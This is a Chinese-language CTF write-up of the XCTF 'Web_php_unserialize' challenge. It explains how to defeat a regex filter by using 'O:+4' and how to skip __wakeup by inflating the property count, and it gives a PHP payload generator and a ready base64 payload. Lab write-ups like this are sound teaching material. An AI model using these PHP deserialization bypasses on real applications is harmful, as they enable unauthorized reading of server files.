XCTF-Web_php_unserialize

访问查看

是一道经典的反序列化题目,尝试解题,大概一下脚本,需要传入var进行反序列化
- php代码会先将
var传入的值进行base64解码, - 然后进行
perg_match()正则匹配判断,如果匹配成立就执行die()方法终止脚本运行 - 使用
unserialize()方法反序列化我们传入的值 __wakeup()在反序列化时候执行将$file变量赋值为index.php__destruct在程序销毁的时候使用highlight_file()方法查看$file文件的内容
这里我们的目标就明确了,更改$file值的内容fl4g.php(在注释中),需要绕过两个条件:
preg_match()正则匹配- 改题目匹配的条件就是
/[oc]:\d+:/i,左右两个/代表这是正则匹配的条件,里面[oc]代表使用o或c开头,然后后面匹配:,然后d+匹配一个或者多个数字,最后匹配一个冒号,最后/后面的i代表不区分大小写 - 最后匹配的条件举例如下:
O:1234:、O:510:、C:4321:
- 改题目匹配的条件就是
__wakeup()初始化赋值- 使用常见的
CVE绕过
- 使用常见的
上述中,我们反序列化后的对象一般都是O:4:开头,所以需要绕过。在PHP中,O:4:和O:+4:的意思是一样的,所以最后脚本如下
<?php
class Demo {
private $file = 'fl4g.php';
}
$new = new Demo();
$ser = serialize($new);
// 替换绕过 preg_match
$ser = str_replace("O:4","O:+4",$ser);
// 替换绕过 wakeup
$ser = str_replace(":1:",":2:",$ser);
print(base64_encode($ser));
?>
使用地址栏传入var的值
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==


浙公网安备 33010602011771号